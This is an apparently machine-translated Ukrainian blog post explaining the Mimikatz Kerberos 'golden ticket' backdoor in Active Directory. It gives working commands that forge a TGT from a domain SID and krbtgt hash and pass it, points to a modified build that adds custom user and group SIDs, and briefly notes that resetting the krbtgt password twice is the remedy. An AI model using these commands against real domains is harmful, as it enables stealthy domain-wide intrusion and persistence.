Yep! Another backdoor in active directory

На початку цього року Benjamin Delpy aka gentilkiwi знову порадував співтовариство черговим дослідженням і, як наслідок, новим функціоналом в своїй епічній збірці під назвою Mimikatz. Йдеться про використання архітектурних особливостей служби Kerberos в Microsoft Active Directory з метою прихованого збереження привілейованого доступу над ресурсами домену. Щоб зрозуміти всю цінність розкопок gentilkiwi, варто освіжити свої знання в контексті протоколу Kerberos і про його місце в службі каталогів Microsoft.

Yep! Another backdoor in active directory

Чи не залазячи в нетрі протоколу, грубо кажучи аутентифікація в стилі Kerberos базується на "квитках доступу". Для отримання доступу до ресурсу клієнт надає свій квиток доступу, а ресурс в свою чергу, на основі криптографічного магії, верифікує цей квиток доступу і приймає рішення, якими правами наділений клієнт і наділений-ли він ними взагалі. Особливу роль у всьому цьому процесі займають сервера аутентифікації, які відповідають за видачу сакральних квитків доступу. У Microsoft Active Directory цю функцію виконують контролери домену.

Починаючи з Kerberos четвертої версії з'являється така корисна штука, як TGT (Ticket Granting Ticket - квиток для отримання квитка). Саме цю версію протоколу Kerberos штампує корпорація добра свого рішення для централізованого управління мережами, яке згодом отримує назву Microsoft Active Directory.

З першого погляду все просто чудово! Хіба що повилазили косяки в реалізації ... Хоча у кого їх не було? [Тинц] Зараз зрозуміло подібні баги пофікшени і сурйозний компанії, які зрослися всіма частинами своєї ІТ-інфраструктури з MS AD, можуть зітхнути з полегшенням, але ...

«Важко бути Богом, але хтось же повинен їм бути ...» (с)

Yep! Another backdoor in active directory


Остання умова необхідна лише за потреби шитих мімакадзом привілеїв. Генерація самого TGT квитка може протікати де завгодно.

mimikatz.exe "kerberos :: golden / admin: ANYID /domain:TEST.LOCAL / sid: S-1-5-21-3838653977-3010990090-570996099 / krbtgt: C1E209654807223D8CB17376FCB70E53 / ticket: myfile" exit

Yep! Another backdoor in active directory


kerberos :: golden - виклик функції генерації TGT квитка
/ Admin: ANYID - сюди можна писати довільний ідентифікатор (світитиметься в журналі безпеки)
/domain:TEST.LOCAL - цільової домен
/ Sid: S-1-5-21-3838653977-3010990090-570996099 - ідентифікатор цільового домену
/ Krbtgt: C1E209654807223D8CB17376FCB70E53 - NTLM-хеш користувача krbtgt
/ Ticket: myfile - ім'я файлу, в який буде записаний новоспечений TGT квиток

Після генерації цього файлу повертаємося до доменного комп'ютера і довантажувати чарівний "золотий квиток" Kerberos:

mimikatz.exe "kerberos :: ptt myfile" exit

Yep! Another backdoor in active directory

Yep! Another backdoor in active directory

Yep! Another backdoor in active directory

Yep! Another backdoor in active directory

Yep! Another backdoor in active directory

Yep! Another backdoor in active directory


У готової збірці Mimikatz власник золотого TGT квитка стає учасником наступних груп безпеки:
  • SID 512 - Адміністратори домену
  • SID 513 - Користувачі домена
  • SID 518 - Адміністратори схеми
  • SID 519 - Адміністратори підприємства
  • SID 520 - Власники-творці групової політики
. а також отримує маркер доступу вбудованої облікового запису адміністратора системи (SID 500). На жаль, в реальному житті цього не завжди вистачає. Наприклад, для випадків, коли необхідно акуратно тицьнути на певний ресурс (наприклад, на файловий сервер) без внесення будь-яких змін в систему. Так-так, зміна власника з наступним скиданням ACL (і подальшим її відновленням) на кілограмової таткові тільки для того, щоб переконатися у відсутності файлів з паролями в плейн тексті, неабияк напружує.

Yep! Another backdoor in active directory


У подібних випадках можна зібрати свою версію Mimikatz (благо є сорци у вільному доступі з докладним керівництвом по збірці). Самі ж ледачі можуть забрати готову доповнену версію в частині генерації TGT квитка звідси (mimi.exe / md5 324ac76502379a869485f7a404dd1570). У ній з'явилися два нові параметри:
  • / Usersid - собсно SID користувача
  • / Groupsid - учасником якої групи необхідно бути (крім адміністраторів домену, підприємств та ін.)
Припустимо ми хочемо отримати доступ до каталогу "only_test01", як показано на малюнку вище. Для цього заглядаємо в список контролю доступу віддаленого ресурсу (eq ShareEnum), отримуємо SID цільової групи (eq PsGetsid) і створюємо собі умови легітимного доступу:

mimi.exe "kerberos :: golden / admin: ANONYMOUS /domain:TEST.LOCAL / sid: S-1-5-21-3838653977-3010990090-570996099 / krbtgt: C1E209654807223D8CB17376FCB70E53 / ticket: myfile2 / usersid: 501 / groupsid 1120 "exit
mimi.exe "kerberos :: ptt myfile2" exit

Yep! Another backdoor in active directory

Yep! Another backdoor in active directory

Погодьтеся, з точки зору форенсікі кумедна штука виходить :)) Відмоніторити активність атакуючого, зуміти відокремити її від активності справжніх легітимних користувачів і сервісних облікових записів при подібних можливостях, буде ох як непросто, якщо взагалі можливо. А ось запобігти (повторний) несанкціонований доступ можна шляхом зміни пароля користувачу krbtgt. Причому міняти пароль необхідно два рази поспіль (ще одна тонка особливість krbtgt), потім пересмикувати службу KDC і спостерігати як (тимчасово чи назовсім) відвалюються сервіси, зав'язані на Active Directory ... отже до наступного випадку компрометації хешіка krbtgt :)

Схожі статті